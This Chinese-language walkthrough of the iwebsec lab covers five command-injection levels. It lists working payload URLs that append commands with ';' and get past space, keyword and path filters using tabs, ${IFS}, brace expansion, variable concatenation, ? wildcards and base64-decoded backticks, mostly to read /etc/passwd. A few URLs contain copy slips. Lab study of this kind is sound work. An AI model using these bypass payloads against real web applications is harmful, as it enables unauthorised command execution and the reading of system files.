iwebsec靶场的命令执行通关笔记,共有五个关卡,分别涉及到基础的命令执行漏洞、空格绕过、关键字绕过、通配符绕过、base64绕过共五方面的渗透。
什么是命令执行漏洞?命令执行漏洞是服务器端没有对客户端用户输入的参数进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。命令执行漏洞主要是服务端没有对执行命令的函数做出过滤导致的,因为在web服务程序有时候去需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,可能发生命令执行漏洞。
第一关
1.源码分析
打开第一关 命令执行漏洞,如上url的链接地址为http://192.168.71.151/exec/01.php
首先通过docker ps查看容器id,然后通过docker exec进入到docker容器的命令行界面
由于第一关的url为http://192.168.71.151/exec/01.php,那么网站的源码在docker中可以通过如下方式查看
cat /var/www/html/exec/01.php
查看结果如下所示
分析源码的内容,如上所示参数ip的内容执行ping操作,并未做任何过滤操作,具有命令执行的漏洞,只需要在ip地址后加入命令连接符,然后再渗透添加其他命令即可进行渗透
2.利用命令执行漏洞
(1)参数为ip=127.0.0.1
http://192.168.71.151/exec/01.php?ip=127.0.0.1
(2)参数为ip=127.0.0.1;whoami 这里使用分号作为分隔符,后接命令whoami
http://192.168.71.151/exec/01.php?ip=127.0.0.1;whoami
(2)参数为ip=127.0.0.1;cat /etc/passwd 这里使用分号作为分隔符,后接命令cat /etc/passwd
http://192.168.71.151/exec/01.php?ip=127.0.0.1;cat%20/etc/passwd
如上所示,渗透获取到敏感信息/etc/passwd
(3)参数为ip=127.0.0.1;id 这里使用分号作为分隔符,后接命令id
第二关
1.源码分析
如上所示查看源码可知对于ip传入的参数过滤了空格
此时再次执行参数ip=cat /etc/passwd 则会报错,因为cat与文件路径/etc/passwd中间存在空格会被过滤掉
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat /etc/passwd
也就是说http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd 无效
2.命令执行漏洞空格绕过渗透
如下所示,空格绕过可以有很多中方法
<|{}|%09|${IFS}9|${IFS}|
接下来根据选择其中几种进行尝试
(1)制表符绕过
%09是制表符的URL编码,可以通过%09来代替空格,绕过空格过滤
ip=127.0.0.1;cat /etc/passwd可以替换为ip=127.0.0.1;cat%09/etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd
(2)<绕过
ip=127.0.0.1;cat /etc/passwd可以替换为ip=127.0.0.1;cat</etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat</etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat%3C/etc/passwd
(3){}过滤
空格过滤可以使用{}绕过
ip=127.0.0.1;cat /etc/passwd可以更换为ip=127.0.0.1;{cat,/etc/passwd}
http://192.168.71.151/exec/02.php?ip=127.0.0.1;{cat,/etc/passwd}
(4)${IFS}替换
ip=127.0.0.1;cat /etc/passwd
可以替换为ip=127.0.0.1;cat${IFS}/etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat${IFS}/etc/passwd
(5)$IFS$9替换
ip=127.0.0.1;cat /etc/passwd可以替换为ip=127.0.0.1;cat$IFS$9/etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat$IFS$9/etc/passwd
第三关
1.源码分析
如下所示,代码中过滤了cat关键字
很明显,因为过滤了cat关键字,那么传参ip=127.0.0.1;cat /etc/passwd 将失效,这是因为cat被过滤掉了
2.命令执行漏洞关键命令绕过渗透
(1)拼接绕过
可以使用a=ca;b=t;$a$b /etc/passwd绕过
即使用ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd进行替换
http://192.168.71.151/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd
(2)命令替换绕过
可以使用与cat功能类似的其他命令,如
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /etc/passwd 2>%261 //报错出文件内容
实战1:
http://192.168.71.151/exec/03.php?ip=127.0.0.1;sh%20/etc/passwd%202%3E%261
实战2:http://192.168.71.151/exec/03.php?ip=127.0.0.1;more%20/etc/passwd
实战3:
ttp://192.168.71.151/exec/03.php?ip=127.0.0.1;head%20/etc/passwd
实战4:http://192.168.71.151/exec/03.php?ip=127.0.0.1;sort%20/etc/passwd
第四关
1.源码分析
如下所示,直接过滤了
很明显因为过滤了关键字etc|passwd,这使得传参ip=127.0.0.1;cat /etc/passwd会渗透失效
2.命令执行漏洞通配符绕过渗透
使用通配符方法进行绕过渗透,?字符代表单个字符,这样的话/etc/passwd可以分别将etc和passwd其中的1个或者是多个字符分别用?替换。注意,?不能匹配空字符。也就是说,它占据的位置必须有字符存在。
(1)实战1:
使用ip=127.0.0.1;cat /et?/pass??来替换ip=127.0.0.1;cat /etc/passwd
http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??
如上所示成功获取了/etc/passwd文件的内容
(2)实战2:
使用ip=127.0.0.1;cat /?tc/pa??wd来替换ip=127.0.0.1;cat /etc/passwd
http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/?tc/pa??wd
http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??
第五关
1.源码分析
很明显因为过滤了id关键字,ip=127.0.0.1;id 这个命令无法渗透成功
2.命令执行漏洞base64编码绕过渗透
这个时候可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码
(1)通过 echo id|base64获取base64编码
echo id|base64
如下所示,编码为aWQK
(2)通过base64解码
echo aWQK|base64 -d
(3)base64编码绕过命令注入渗透
再次强调用反引号括起来的值会被当做命令执行,于是使用如下命令替换
ip=127.0.0.1;`echo aWQK|base64 -d`
http://192.168.71.151/exec/01.php?ip=127.0.0.1;`echo%20aWQK|base64%20-d`
文章来源:https://www.toymoban.com/news/detail-688115.html
如上渗透成功文章来源地址https://www.toymoban.com/news/detail-688115.html
到了这里,关于iwebsec靶场 命令执行漏洞通关笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!